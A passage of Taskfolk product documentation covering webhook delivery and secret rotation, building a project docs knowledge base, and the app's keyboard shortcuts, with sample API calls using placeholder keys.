and drops it. It is never retried. No exponential backoff, no dead-letter queue you can drain later. ```mermaid flowchart LR A[Event fires] --> B[One POST attempt] B -->|2xx| C[Logged as success] B -->|error or timeout| D[Logged and dropped] D --> E[Reconcile via REST] ``` Which means a delivery can be lost, and you have to build for that. Two rules follow. First, make your consumer idempotent, keyed on the delivery `id` (the `X-Taskfolk-Delivery` UUID, also the `id` in the envelope). Because you will sometimes reprocess, dedupe on that id so acting twice does no harm. Second, and this is the bigger one, treat webhooks as a fast notification layer, not the source of truth. Reconcile against the REST API periodically, because the REST API is authoritative. If your Slack channel or analytics store must never miss a status change, do not assume every event arrived: poll the [REST API](/docs/how-to-use-the-rest-api) on a slow cadence (every few minutes, not every few seconds) to sweep up anything the push layer dropped. Webhooks make you fast. REST reconciliation makes you correct. You want both. It is exactly the pattern you would build if you were [letting an AI agent run your board over the REST API](/blog/let-ai-agents-run-your-board-over-the-rest-api): react to the push, verify against the pull. The drawer also shows a "Recent deliveries" table, and it helps to know what it is and is not. It is read-only history, labelled "history only, no replay," pulled from ClickHouse: up to the 50 most recent attempts. Each row shows: | Column | Meaning | |---|---| | Event | The event type delivered, e.g. `issue.updated` | | Status | The HTTP response code, or ERR if the request itself failed | | Attempt | Always 1; there is only ever one attempt per delivery | | Latency | Round-trip time in milliseconds | | When | Relative timestamp of the attempt | Genuinely useful for debugging ("did my endpoint 500 at 10:32?"). But note what is missing. The request bodies are not stored, so there is no resend or replay button anywhere. And do not read the Attempt column as a retry counter. It is not one. Before any events have fired you see "No deliveries yet" with "Deliveries appear here once an event fires." So the mental model is simple: Taskfolk tries once, tells you what happened, and moves on. Your consumer's job is to be reliable on its end and reconcile the rest from REST. ## Rotate secrets, and the HTTPS/SSRF rules Two operational things you will eventually need: rotating the secret, and understanding why "just test against localhost" will not work. **Rotating the secret.** In the drawer, Rotate secret mints a fresh `whsec_` secret and shows it once, inline, under "New signing secret, shown once:" (with a "Secret rotated" confirmation). Copy it immediately, same discipline as creation: once, then only the prefix. The overlap behavior is easy to describe wrong, so here it is precisely. After rotation, the previous secret's hash stays valid for verification for a 24-hour window, but that window exists only on the consumer's side, to give your verifier time to catch up. Taskfolk always signs new deliveries with the current (new) secret. It is not a period where old-secret-signed deliveries keep arriving. In practice: rotate, deploy your consumer with the new secret, and during the transition accept a signature that matches either the old or the new key. Once you have cut over, drop the old one. **The network rules.** Endpoints have to be public HTTPS. An SSRF guard rejects, at both create time and delivery time: - `localhost` and `*.localhost` - single-label hostnames - URLs with `user:pass@` userinfo - private or reserved IP ranges Delivery also will not follow 3xx redirects. This is standard defense against tricking a server into calling internal addresses, and it is not configurable. The practical consequence: you cannot point a webhook at `http://localhost:3000` to test locally. To develop against your own machine, run a public HTTPS tunnel (ngrok, Cloudflare Tunnel, whatever you like) and give Taskfolk the tunnel's HTTPS URL. Then Send test reaches your local server through the tunnel exactly like a real delivery would. **Deleting.** Delete is behind a confirm dialog: "Delete this webhook?" with "Deliveries to this endpoint will stop immediately. This cannot be undone." Deletion is immediate and scoped to your workspace. When you retire an integration, delete its webhook so you are not signing and shipping events into a void. ## Send Taskfolk events straight to Slack Here is the payoff that needs almost no code. Create a Slack Incoming Webhook in your Slack workspace (Slack hands you a URL on `hooks.slack.com`). Then create a Taskfolk webhook pointing at that Slack URL, subscribe it to the events you want in the channel (`issue.updated` is the obvious one for board movement), and you are done. Taskfolk detects a `hooks.slack.com` target and auto-formats each delivery into a Slack `{ text, blocks }` message (the `text` is the plain fallback line, and `blocks` carries the same line as a mrkdwn section). No transform layer, no glue service, no parsing on your side. So when WEB-142 flips to Done, what lands in Slack is not the raw envelope but a ready-made message: ```json { "text": "Updated issue *WEB-142*: Timeline + Summary tab (done) - taskfolk", "blocks": [ { "type": "section", "text": { "type": "mrkdwn", "text": "Updated issue *WEB-142*: Timeline + Summary tab (done) - taskfolk" } } ] } ``` A line appears in your team channel on its own. You saw the hint for this back on the create form: "Tip: paste a Slack Incoming Webhook URL and deliveries are auto-formatted for Slack." That tip is the whole integration. One consequence to internalize: because Slack has nothing to verify against, Taskfolk does not send an `X-Taskfolk-Signature` header to Slack targets. The body is a Slack message, not the raw signed envelope. So do not write signature-verification code for a Slack endpoint. There is no signature to check, and Slack would not know what to do with one. Signature verification is for your own consumers receiving the raw envelope. Slack is the special case that skips it. This is the fastest webhook to stand up and the one most teams reach for first. Point it at a channel, Send test to confirm the message lands, and your board is talking to Slack. If you are wiring agents rather than channels into this stream, the same signed envelope is what an automated consumer reads, and it pairs naturally with the read and write patterns in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent) and the [MCP vs REST comparison](/blog/mcp-or-rest-api-for-your-agent) when you are deciding how that agent talks back to Taskfolk. Set one webhook up today, point it at the tool that is currently last to know, and hit Send test to watch it land. --- # How to write project docs URL: https://taskfolk.ai/docs/how-to-write-project-docs Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: knowledge base, Taskfolk, how-to Build a documentation knowledge base in Taskfolk: workspace Knowledge vs project Docs, nested pages, templates, autosave, version history, doc-issue links. You wrote the spec in a comment. Someone rewrote it in a Slack thread. Now nobody knows which one is true. That is the tax you pay for having no home for your docs: the design decision lives in a comment on WEB-142, the API contract got pasted into a channel that scrolled away three days ago, and when a new engineer asks "where's the release runbook," the honest answer is "check four places, then ask me." A real project documentation knowledge base ends that. Taskfolk gives your specs, notes, and runbooks a home right next to the issues they describe, in the same tool, so the source of truth stops moving. This tutorial walks through building an actual project documentation knowledge base in Taskfolk: where the two doc spaces live, how to structure pages into a tree, how autosave and version history really behave, how docs and issues link both ways, and the honest limits, including exactly what the AI does and does not do with your pages. ## Why a knowledge base beats scattered comments and Slack threads Issue comments are good for one thing: a running conversation about one ticket. They are a terrible place to store a spec, because of how comments behave: - They sort by time, not by topic. - You cannot nest them. - There is no version history to walk back through. - A spec inside WEB-142's thread is invisible to anyone working on WEB-158 who needs the same information. Slack is worse. It is a river, and your architecture decision floated past last Tuesday. A knowledge base fixes the storage problem. Taskfolk's docs are a [Notion-style block editor](/blog/notion-alternative-for-project-management) sitting on a page tree you can nest. You write in blocks (headings, lists, tables, code), pages autosave as you type, each save snapshots a version you can restore, and every page carries its own threaded comment thread. It is a real wiki surface, not a notes field bolted onto the side of the app. What matters most is where it lives. Your docs sit in the same workspace as your projects, your board, and your issues. A doc can reference an issue and an issue can reference a doc, so the spec and the work that implements it are one click apart instead of one tool apart. That is the whole pitch. Stop context-switching between a wiki and a tracker that have never heard of each other. ## Workspace Knowledge vs project Docs: which one to use Taskfolk has two doc spaces, and the difference is scope, not features. Same editor. Same page tree, same autosave, same versions, same comments. The only thing that changes is who can see the pages and where they hang. ```mermaid flowchart TD A[New page to write] --> B{Useful to someone outside this project?} B -->|Yes| C[Workspace Knowledge] B -->|No| D[Project Docs] C --> E[Every workspace member can read it] D --> F[Follows the project's access rules] ``` Workspace Knowledge lives at `/w/[workspace]/knowledge`. Its pages have no project attached, so any member of the workspace can reach them. The header reads "Knowledge," with a subtitle about being your team's home for specs, notes, and knowledge. This is where cross-team, cross-project material belongs: your engineering onboarding guide, your code-review conventions, your incident-response playbook, the glossary every team argues about. ![Taskfolk workspace-level Knowledge base with the 'Knowledge' title and its specs-and-notes subtitle, showing the same block editor used for project docs. Illustrates the workspace vs project scope distinction.](/images/blog/how-to-write-project-docs-workspace-knowledge.webp) Per-project Docs live under `/w/[workspace]/p/[project]/docs`. Same editor, but every page is scoped to that project, and the subtitle tells you which one ("Documentation for WEB"). This is the home for material that only makes sense inside one project. For WEB, that means the API reference, the deploy runbook, the sprint retro notes, the design spec for the "Timeline + Summary tab" feature. Here is the rule of thumb worth memorizing. If a page would help someone who has never touched this project, it goes in Knowledge. If it only means something to people already working in the project, it goes in that project's Docs. Onboarding and standards live in Knowledge. A project's own runbooks and specs live in its Docs. Scope has one consequence you should not miss. A doc in a scoped project inherits that project's access rules. If a project is restricted to explicit members, its docs are only visible and mentionable to those members. Workspace Knowledge has no such gate; every workspace member can read it. So if a spec is sensitive and should reach a subset of people, put it in a scoped project's Docs, not in Knowledge. ## Create your first page Open either doc space and click "New page." That button calls `createDoc`, which appends a fresh page at the end of the current sibling list (ranked with LexoRank so ordering stays stable), titles it "Untitled," and indexes it for search right away. There is no draft-then-publish step. The page exists and is findable the moment you create it. Now name it. The title field shows "Untitled" as a placeholder. The name you pick is the single most important organizing decision you will make on this page, because it is what shows in the tree and what people scan for. "WEB API reference" tells everyone what they are looking at. "Untitled," or worse, "notes," tells them nothing and quietly rots. Rename before you write the body. Every time. Give the page an emoji while you are there. The "Page icon" control sets one next to the title, and "Reset to default" clears it back. Sounds cosmetic. It is not. Once your tree holds fifteen pages, a column of distinct icons is how your eye finds the runbook versus the retro versus the spec in half a second. A wall of identical default icons is just a wall. Land in an empty space and you get a prompt sized to your access: - "Start your knowledge base" or "No pages yet," with body copy about creating a page to capture specs and notes right next to your work. - A read-only variant if that is all you have: "You have read-only access to these pages." - "Pick a page" when the scope has pages but you have not opened one yet. ## Write with the block editor and slash commands The editor is BlockNote, block-based. When a page body is empty, the placeholder reads "Start writing, or press / for commands." That slash is the whole editor in one keystroke. Type `/` anywhere and a menu opens with the block types: headings, bullet lists, numbered lists, check lists, tables, code blocks, images, and the rest of BlockNote's default set. You never hunt through a toolbar. You type, and when you need structure, you slash. Here is what that looks like on a real ticket. Say you are writing the spec for the "Timeline + Summary tab" work on WEB: 1. Start with a heading for "Acceptance criteria," slash into a check list, and write each criterion as a checkbox ("Summary tab renders burndown," "Timeline supports drag-to-reschedule"). 2. Drop a heading for "API shape," slash into a code block, and paste the response JSON so nobody has to reverse-engineer it from the network tab. Ten minutes of writing, and the next person who touches that feature reads the intent instead of guessing at it. Images go inline too. Paste or insert one and it uploads through a presigned R2 PUT, then serves back through the docs image proxy. Two honest constraints. Only PNG, JPEG, GIF, and WebP are accepted; SVG and HTML are rejected because they are an XSS risk. And image bytes count against your workspace storage cap and hit the per-plan per-file limit, so on the Free plan a single image cannot exceed 1 MB. The page body itself is capped at 10 MB of block JSON, which is enormous for text but worth knowing if you are tempted to paste a hundred screenshots into one page. Do not. Split it into sub-pages, which is the next section. ## Start from a template instead of a blank page A blank page is a small tax every time. You retype the same headings, you forget a section, and three people's meeting notes end up structured three different ways. Templates fix that. On a brand-new empty page, a "Start from a template" gallery appears above the editor with six options: - Blank page - Meeting notes - RFC - Status update - Retrospective - Decision log Pick one and it seeds a predefined structure of headings, lists, and checklists, localized to your language, so a retro always has the same sections and a decision log always captures the same fields. The value is not the typing you save. It is that everyone's retros look alike, so anyone can read any retro without relearning the layout. One caveat about how this works. The gallery only shows on a fresh, empty page. Type a single character and it is gone. So the flow is: create the page first, then pick the template before you write anything. If you meant to use the RFC template and started typing, the fastest fix is a new page and pick it there. ## Organize pages into a tree: nest, reorder, re-parent A flat list of forty pages is not a knowledge base. It is a junk drawer. The tree is what turns a pile of pages into something navigable, and Taskfolk gives you real nesting. Every page can hold sub-pages. To create a child, use "Add sub-page" (or "Add sub-page under WEB runbooks" when you act from a specific page's menu). It calls the same `createDoc` with a `parentId`, so the new page hangs under its parent. The left panel renders the whole hierarchy with Expand and Collapse toggles, and your collapse state persists in local storage per scope, so the tree stays how you left it between visits. You rearrange by dragging. Grab a page in the tree and drop it to reorder it among its siblings, or to re-parent it under a different page. The server recomputes the page's rank from the live siblings at drop time, so ordering stays consistent even if someone else moved things while you were dragging. It also refuses to build an impossible tree: - Drop a page onto itself and you get "A page cannot be its own parent." - Drop a parent into one of its own descendants and you get "Cannot move a page into its own sub-page." Those guards mean you cannot accidentally create a loop. Here is a structure that works for WEB. Make a parent called "WEB runbooks," then nest "Deploy," "Rollback," and "Incident" under it. Make another parent, "WEB specs," with a child per feature. Now the tree tells a story at a glance, and someone hunting the rollback steps expands one node instead of scrolling past thirty root-level pages. The thing to avoid is dumping everything at the root. A shallow, grouped tree is scannable. A flat one is not, no matter how good the titles are. ## Autosave, version history, and restoring a page You never press save. The editor does it for you, debounced, so it batches your keystrokes instead of hammering the server on every character. The toolbar tells you where you stand with "Saving...," "Saved," or "Save failed," so you are never guessing whether your last paragraph made it. The numbers behind that: | What | Behavior | |---|---| | Body save | 800ms after you stop typing (block JSON plus a Markdown mirror) | | Title save | 700ms after you stop typing | | Version snapshot | On every successful body save | | Versions shown in the panel | 30 most recent | | Versions retained per doc | 50, older ones pruned | There is a safety net under that. A save-beacon flushes any pending change when you close the tab, so a fast navigation away does not eat your last edit. And if a save was genuinely interrupted, the next time you open the page you get an "Unsaved changes restored." prompt with "Restore" and "Dismiss," to recover the in-flight edit or throw it away. Every successful body save also snapshots a version. Open the "Version history" panel and you see the recent versions, each labeled with who made it and when ("by Omar Haris"), each with a "Restore" button that reverts the page's title and body to that snapshot. This is your undo for content. Overwrote a section you needed? Restore the version from before you did. Be honest with yourself about the shape of this, though. Versions are automatic, created on save; you cannot manually name a checkpoint "before the big rewrite." The panel shows the 30 most recent, and only 50 are retained per doc before older ones get pruned, so this is a rolling recent history, not a permanent archive of every state the page has ever been in. And critically, this is single-user debounced autosave, not Google-Docs-style live co-editing. No live cursors, no presence, no two people typing in the same paragraph at once. If two people edit the same page in the same window, they will overwrite each other. Coordinate, or split the work into separate sub-pages. ## Link docs to issues (and issues to docs) A doc nobody can connect back to the work is just a nicer Slack thread. The point of keeping docs in Taskfolk is that they wire into your issues both directions. Each page has its own threaded comment panel, the "Comments" section. You reply and nest, edit your own comments ("Edit," "Save," "Cancel"), and delete them. The comment box does real work: the placeholder reads "Write a comment. Use @ to mention, # to reference an issue," and it means it. Type `@` and you get a member-mention autocomplete; mentioning someone notifies them, and it respects scoped-project visibility, so you cannot mention someone into a project they cannot see. Type `#` and you get the issue-reference autocomplete, so a comment on the API spec can point straight at the ticket implementing it. One limit worth stating plainly: viewers cannot comment. Read-only means read-only. From the other direction, you can reference a doc from any prose in the product, an issue description or an issue comment, using the `#d:` token. The [markdown editor](/docs/how-to-create-an-issue) offers a `#d:` autocomplete trigger; pick a doc and it inserts a reference that renders as a named doc-ref chip, so the ticket links back to its spec. If you keep your project conversations in [team chat next to your issues](/blog/keep-team-chat-next-to-your-issues), those references keep the whole trail connected. ![A Taskfolk issue detail page, the surface where an issue description or comment can carry a doc reference back to its spec.](/images/blog/how-to-create-an-issue-issue-detail-subtasks.webp) The honest caveat: doc references use a UUID token under the hood (`#d:`), not a friendly key like the `#KEY-NUM` you get for issues. You insert them by autocomplete rather than typing a memorable code, and if the referenced doc is deleted, the reference renders as a greyed-out placeholder instead of a live link. A doc-ref points at a specific page reliably while that page exists, but it is not a human-readable citation you would paste into an email. ## Share, export, and deep-link a page Sometimes the doc lives in Taskfolk but the person who needs it is in an email, a ticket in another tool, or a meeting invite. Taskfolk gives you a few ways to get a page out or point someone at it. Open the "Page actions" menu and you get three moves: - "Copy link" produces a deep link of the form `?doc=` and confirms with a "Link copied to clipboard." toast. That link is genuinely deep: open it and the docs view auto-selects that exact page and expands its ancestors in the tree, so someone lands on the page you meant, in context, not at the root. - "Download Markdown" pulls the page down as a `.md` file. - "Export PDF" opens a client-side print window, which means you need to allow pop-ups; if they are blocked, you see "Allow pop-ups to export a PDF." Docs also show up in global workspace search. Both the title and the Markdown body are indexed on every save, and a search result links straight to the page. So "where's that thing about the rollback steps" is a search away, not a tree-spelunking expedition. ![Taskfolk global workspace search results, the surface where indexed doc titles and bodies come back as direct links to the page.](/images/blog/how-to-search-your-workspace-results.webp) The limit to know: search is role-gated. A workspace member who is not an owner or admin does not see issues or docs in the global search results. Search is there, but it is scoped by role, so do not assume a page is findable-by-search for everyone just because it is findable for you. ## Ground AI agents on your docs (and the limits to know) This is where being honest matters most, because it is the easiest place to oversell. Here is the true picture. The in-product AI chat does not automatically read your Knowledge or Docs pages. There is no document retrieval wired into the assistant. Ask the chat a question and it is not silently searching your docs and citing them back to you. Do not build a workflow that assumes it does. What does happen is that external agents can ground themselves on your docs by reading them through the v1 REST API with an API key. That is a real, supported path: ```mermaid sequenceDiagram participant Agent participant API as Taskfolk v1 API Agent->>API: GET docs list with API key API-->>Agent: page ids and titles Agent->>API: GET export for one doc, format md API-->>Agent: Markdown body Agent->>Agent: Use the pages as context ``` An agent starts by listing the docs it can see. Workspace-level Knowledge by default, or one project's docs with the `project` filter: ```bash # List the WEB project's docs (drop ?project= for workspace Knowledge) curl -H "Authorization: Bearer tfk_live_YOUR_KEY" \ "https://taskfolk.ai/api/v1/workspaces/acme/docs?project=WEB" ``` From there it can `GET` an individual doc, its versions, and its comments. To pull the actual content in a form a model can read, it hits the export endpoint and gets Markdown back: ```bash curl -H "Authorization: Bearer tfk_live_YOUR_KEY" \ "https://taskfolk.ai/api/v1/workspaces/acme/docs/DOC_ID/export?format=md" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/docs/DOC_ID/export?format=md", { headers: { Authorization: "Bearer tfk_live_YOUR_KEY" } }, ); const markdown = await res.text(); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/docs/DOC_ID/export", params={"format": "md"}, headers={"Authorization": "Bearer tfk_live_YOUR_KEY"}, ) markdown = res.text ``` That is how you point an agent at your knowledge base: it reads the pages over the API and uses them as context. If you are wiring this up, the deeper mechanics are in [give your AI agent a knowledge base](/blog/give-your-ai-agent-a-knowledge-base), and the broader model is in [what agentic project management actually means](/blog/what-is-agentic-project-management). ![Taskfolk's developer overview page, where you create the API key an agent uses to read docs over the v1 REST API.](/images/blog/how-to-use-the-rest-api-developer-overview.webp) Two API caveats. The export supports `md` and `html` only; ask for `format=pdf` and you get a 400 with "PDF export is not available yet," so the PDF path exists only in the UI's print-window flow, not the API. And permissions carry through the API exactly as they do in the UI. On permissions generally: owners, admins, and members can create, edit, move, and delete pages and can snapshot and restore versions. Viewers are read-only. Deletion is the one to respect. Deleting a page soft-deletes it and every sub-page under it, and the confirm dialog says so plainly: "This deletes the page and every sub-page under it. This cannot be undone." Unlike version restore, there is no in-UI undo button for a deleted page. It is a soft delete under the hood and follows the same retention as other content, but from where you sit in the product, treat "Delete page" as final. Move things you are unsure about into an "Archive" parent instead of deleting a subtree you might want back. Give your project docs one home, name the pages so they scan, nest them into a shallow tree, and link them to the issues they describe. That is the whole discipline, and Taskfolk is built to hold it. Open your project's Docs tab and write the first page you have been meaning to write down. --- # Keyboard shortcuts in Taskfolk URL: https://taskfolk.ai/docs/keyboard-shortcuts-in-taskfolk Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: Taskfolk, project management, how-to Every keyboard shortcut in Taskfolk: the ? overlay, command palette, quick create, g-chords, and a/s/p/l/m field pickers, where each fires, and how to learn them. You know the shortcut exists. You have seen the little `c` keycap on the Create button. And you still watched your own hand slide off the keyboard, find the mouse, aim at search, click a project, click a card. That reflex is a tax you pay all day, and most people never stop paying it. Project management keyboard shortcuts are how you stop. Taskfolk ships a fixed set: a help overlay, a command palette that jumps you anywhere, a key to create the next issue, chords to move around a project, and single keys to edit an issue's fields without leaving the home row. This guide walks through all of them, tells you exactly where each one fires and where it goes quiet, and gives you an order to learn them so you actually remember them by next week instead of forgetting the whole wall of keys by lunch. One thing up front. These shortcuts are fixed in code. There is no settings screen to rebind keys, no Vim mode to switch on, no per-user toggle to flip. That reads like a limitation and it is the opposite. Because they never change, the payoff is pure muscle memory: learn them once and they work the same in every workspace, on every machine you sign into. ## Why project management keyboard shortcuts save real time The cost is sneakier than it looks. Every time you move your hand to the mouse, aim at a target, click, and come back, you burn a second or two. Worse, you break your train of thought. Do that fifty times a day (open a ticket, change its status, create the next task, jump to the backlog, hunt for a bug someone mentioned in standup) and you have spent a real slice of your day just steering a pointer. Good project management keyboard shortcuts collapse that whole loop into a keystroke. Your hands stay on the keyboard. Your eyes stop hunting for buttons. You stay in the thought you were having. Taskfolk covers the three things you do most inside a project: navigation (getting to a view or another issue), creation (starting the next ticket), and the common issue edits (status, assignee, priority, labels, milestone). It deliberately does not try to make every action keyboard-driven. That restraint is the point. A small fixed set is a set you can actually memorize. ## Press ? to see every shortcut Taskfolk ships Start here. Anywhere inside a workspace, press `?` (that is Shift and the `/` key together) and Taskfolk opens the Keyboard shortcuts help overlay. This is the source of truth. If a shortcut is in this overlay, it is real and current. If it is not, do not trust a blog post over the product, including this one. The overlay lists three groups: - **General** (5 rows): Open command palette, Focus search, Create issue, Toggle sidebar, Show this help. - **Navigation** (3 rows): Go to board, Go to backlog, Go to list. - **Issue** (5 rows, under the heading "When viewing an issue"): Assign issue, Set status, Set priority, Edit labels, Set milestone. Press `?` again or hit `Esc` to close it. Open it while you are on the WEB board specifically. The board lives inside a project route, which means the Navigation chords and quick create are all live behind the overlay, so what you read matches what you can do without moving. Open the same overlay on your dashboard and some of those rows would be inert right then, which makes the list quietly misleading about where you are standing. ![The WEB board with the Keyboard shortcuts help overlay open, showing the General, Navigation, and Issue groups and every documented keycap. This is the anchor shot: it lets a reader verify the tutorial's shortcut list directly against the product, and the board backdrop means the g-chords and quick create are all live behind it.](/images/blog/keyboard-shortcuts-in-taskfolk-shortcuts-overlay.webp) Here is the same set in one table you can keep open while you learn: | Keys | What it does | Where it works | |---|---|---| | `?` | Open the shortcuts overlay | Anywhere in a workspace | | `Cmd/Ctrl+K` | Open the command palette | Anywhere in a workspace | | `/` | Focus the topbar search | Anywhere you are not typing | | `c` | Open the New issue dialog | Anywhere, if you can create issues | | `Cmd/Ctrl+B` | Toggle the sidebar (bold inside the editor) | Everywhere; the editor wins while typing | | `g` then `b` | Go to Board | Inside a project route | | `g` then `k` | Go to Backlog | Inside a project route | | `g` then `l` | Go to List | Inside a project route | | `a` / `s` / `p` / `l` / `m` | Open the assignee, status, priority, labels, or milestone picker | Issue detail page only | | `Esc` | Close the open overlay or popover | Everywhere | Now an honest caveat, because it saves you confusion later. The overlay is the canonical list of the General, Navigation, and Issue shortcuts, but it does not document everything Taskfolk responds to. The markdown editor's bold, italic, and link shortcuts are not in it. Neither is the arrow-key navigation inside the command palette and the search box. Those are real; they just get discovered in context rather than announced here. I will cover them below so you are not left guessing. And note the line the overlay itself puts at the bottom: navigation and issue shortcuts work when you are not typing in a field. Hold that thought. It explains almost everything about when a key does nothing. ## Open the command palette with Cmd/Ctrl+K If you learn one shortcut, make it this one. Press `Cmd+K` on a Mac, or `Ctrl+K` on Windows and Linux, and the command palette opens. It does two jobs at once. It searches your issues live (through Typesense, so results land fast even in a big project), and it jumps you to any major section of the workspace: Dashboard, Your tasks, Notifications, Knowledge, Members, Settings, and any project's board. It also exposes two actions right in the list, Create issue and Go to settings. Part search box, part teleporter. Driving it never touches the mouse. The footer spells it out: `Up` and `Down` arrows move the highlight, `Enter` selects the highlighted row, `Esc` closes. The list loops, so pressing Up from the top row wraps to the bottom. Here is a concrete run. You are somewhere in the WEB project and you want the ticket about the Timeline and Summary tab. Hit `Cmd+K`, type `Timeline`, watch the issue surface under Search issues, press `Enter`, and you are on the "Timeline + Summary tab" ticket. No mouse. You never even had to remember its issue key. ![Keyboard shortcuts in taskfolk - command palette](/images/blog/keyboard-shortcuts-in-taskfolk-command-palette.webp) The palette groups its results so you always know what you are looking at: Navigate (the sections), Search issues (live matches), and Actions (Create issue, Go to settings). The placeholder text tells the whole story: "Search issues, jump to a section, run an action...". When you are not sure where something lives, the palette is the safe default. It is the closest thing Taskfolk has to a universal "go" key. For how the underlying search behaves, see [how to search your workspace](/docs/how-to-search-your-workspace). ## Focus search with / and open a hit with Enter The palette is not the only way to find things. Press `/` on its own (just the slash), from anywhere you are not currently typing, and Taskfolk drops your cursor straight into the topbar search input. No clicking into the box first. So when do you reach for `/` over `Cmd+K`? Simplest split I have: the palette is for "take me somewhere or run something," plain search is for "find this thing." The typeahead is tuned for finding content, surfacing issues first, then docs, then feedback. Move through the rows with `Down` and `Up`, press `Enter` to open whatever is highlighted. There is a small, genuinely useful detail in how `Enter` behaves when nothing is highlighted. Type a query and hit `Enter` without picking a row, and Taskfolk takes you to the full results page. But if what you typed is an exact issue key, it jumps you straight to that ticket instead. Type `WEB-42`, press `Enter`, land on WEB-42. No result list to scroll. That is the fastest way to open a ticket you already know the key for. ![The workspace search results page after submitting a query, with issue matches listed first. This is where a plain Enter lands when no typeahead row is highlighted.](/images/blog/how-to-search-your-workspace-results.webp) `Esc` closes the search popover, the same as everywhere else in the product. In practice most people settle into `Cmd+K` for jumping and running actions, and `/` for a fast find-by-title-or-key. Both become muscle memory inside a week, and you stop consciously choosing between them. ## Create the next issue with c You just triaged one bug and three more are already forming in your head. Do not reach for the mouse. Press `c`. From any non-input element in the workspace, `c` opens the New issue dialog. Taskfolk calls it Quick create. It reads the active project straight out of the URL, so if you are on the WEB board, it pre-selects WEB. No project dropdown to fight. The topbar Create button even carries a `c` keycap so the shortcut stays discoverable when you forget it. ![The New issue dialog that the c shortcut opens, with the project already pre-selected, plus type, title, and the other fields ready to fill.](/images/blog/how-to-create-an-issue-new-issue-dialog.webp) Here is the honest limit. `c` only exists if you have permission to create issues. Taskfolk checks whether you can create, and a viewer who cannot make tickets has no `c` shortcut wired and no Create button either. That is correct, not a bug. If you are a viewer and `c` does nothing, that is exactly why. A real flow. You are on the WEB board and you notice the empty-state copy on the Backlog column reads wrong. Press `c`, the New issue dialog opens already set to WEB, type "Fix empty-state copy on Backlog column", set whatever fields you need, submit. The dialog closes, you are back on the board, you keep moving. Capturing the next piece of work cost one keystroke instead of a trip across the screen. For the full walkthrough of the create dialog and everything it sets, see [how to create an issue](/docs/how-to-create-an-issue). ## Jump to Board, Backlog, or List with g then a letter This is where it starts to feel fast. Taskfolk has three navigation chords on the classic "g then a letter" pattern: - `g` then `b` goes to the current project's **Board**. - `g` then `k` goes to the **Backlog**. - `g` then `l` goes to the **List** view. The mechanics matter, so let me be exact. You press `g`, release it, then press the second key within about 1.2 seconds. Miss that window and the chord times out and does nothing. This is not a held combo like `Ctrl+B`. It is two taps in sequence. ```mermaid stateDiagram-v2 [*] --> Idle Idle --> Armed: press g Armed --> Board: b within 1.2s Armed --> Backlog: k within 1.2s Armed --> List: l within 1.2s Armed --> Idle: timeout or any other key ``` The other thing to know: these chords only work inside a project route, a URL under `/w//p//...`. On the dashboard, on notifications, in workspace settings, pressing `g` then `b` does nothing, because there is no current project to move around inside. That is intentional. The chords are scoped to the one place they make sense. An example. You are reading WEB-42, deep in the comment thread, and you want to see where it sits on the board. Tap `g` then `b`. Now you are on the board looking at the In Progress column with the card in context. Then `g` then `k` to check the backlog, `g` then `l` to open the filterable list. You bounce between a project's three main views and your hand never finds the mouse. Once you are in the List or Backlog you will usually want to narrow things down, which is covered in [how to filter and sort issues](/docs/how-to-filter-and-sort-issues). ![The kanban board a g then b chord lands on, with the project's columns and cards in view. From here g then k and g then l hop to the Backlog and List without the mouse.](/images/blog/how-to-use-a-kanban-board-overview.webp) While we are on navigation, one more. `Cmd+B` (Mac) or `Ctrl+B` (Windows and Linux) toggles the sidebar. Collapse it for a wider board, expand it when you need the nav. And yes, the same combination means bold inside the markdown editor. That is not a conflict. It is one guarded handler: the sidebar toggle bails the moment your focus is inside an input, textarea, or contenteditable, so while you are typing in the editor `Cmd/Ctrl+B` is bold, and everywhere else it toggles the sidebar. You never have to think about which one you are getting. ## Edit an issue without the mouse: a, s, p, l, m Open any issue's detail page and five single keys turn into field editors: - `a` opens the **Assignee** picker. - `s` opens the **Status** picker. - `p` opens the **Priority** picker. - `l` opens the **Labels** picker. - `m` opens the **Milestone** picker. Under the hood each key just clicks that field's trigger on the page. The mapping is five lines of the actual source, along with the chord window from the last section: ```typescript // KeyboardShortcuts.tsx, verbatim const CHORD_MS = 1200; const ISSUE_FIELD_KEYS: Record = { a: "assignee", s: "status", p: "priority", l: "labels", m: "milestone", }; ``` Worth understanding, because it tells you precisely when a key works and when it will not. If the field is not rendered, the key has nothing to click, so it is inert. No error, no flash, nothing. Walk a real edit. You have finished reviewing a WEB ticket and it is ready to hand off. Press `s`, pick "In Review" from the status picker, it moves. Press `a`, choose the teammate who owns the next step. Press `p` and bump it up because it is blocking a release. Three field changes, no mouse, maybe four seconds. Now the limits, because knowing them keeps you from filing a bug that is not one: - These keys only do something on the issue detail page. They are inert on the board, the list, and everywhere else. There is no way to open these pickers from a board card. - `m` (milestone) only works when the issue actually has milestones available. The milestone picker renders only when there is at least one milestone to pick, so on a project with none, `m` does nothing. - The pickers respect disabled fields. If you do not have permission to edit a field, its trigger is disabled, and the shortcut will not open a picker you cannot use. And to be clear about what does not exist: there is no `j`/`k` arrow navigation between cards on the board or in the list. Taskfolk does not ship Vim-style card hopping. The only single-letter issue shortcuts are these five field pickers, and only on the detail page. If you were about to go looking for a way to `j`/`k` down a column, save yourself the search. It is not here. ## The editor shortcuts the overlay leaves out The `?` overlay is honest but incomplete, and the biggest thing it omits is the markdown editor. When you are writing an issue description or a comment, you get the formatting keys you would expect: - `Cmd/Ctrl+B` for **bold**. - `Cmd/Ctrl+I` for *italic*. - `Cmd/Ctrl+K` to insert a link. Each wraps your current selection, so highlight a phrase, press `Cmd+B`, and it is bold in place. The editor's toolbar buttons show the same hints (like "(Ctrl/Cmd+B)"), so you can relearn them by hovering when you forget. The autocomplete inside the editor has its own keys. When you type `@` to mention someone or `#` to reference an issue, a dropdown appears. Use the arrow keys to move through it, `Enter` or `Tab` to select the highlighted suggestion, `Esc` to close it without picking anything. One interaction trips people up, so call it out. In the comment composer, `Enter` sends the comment and `Shift+Enter` inserts a newline. But while the `@` or `#` autocomplete dropdown is open, `Enter` selects the highlighted suggestion instead of sending. So if you are mid-mention and hit Enter expecting to fire off the comment, you will instead lock in the person you were mentioning, which is almost always what you actually wanted. Close the dropdown and `Enter` goes back to sending. Two clarifications so your mental model is right. This is a markdown editor (it renders through marked and 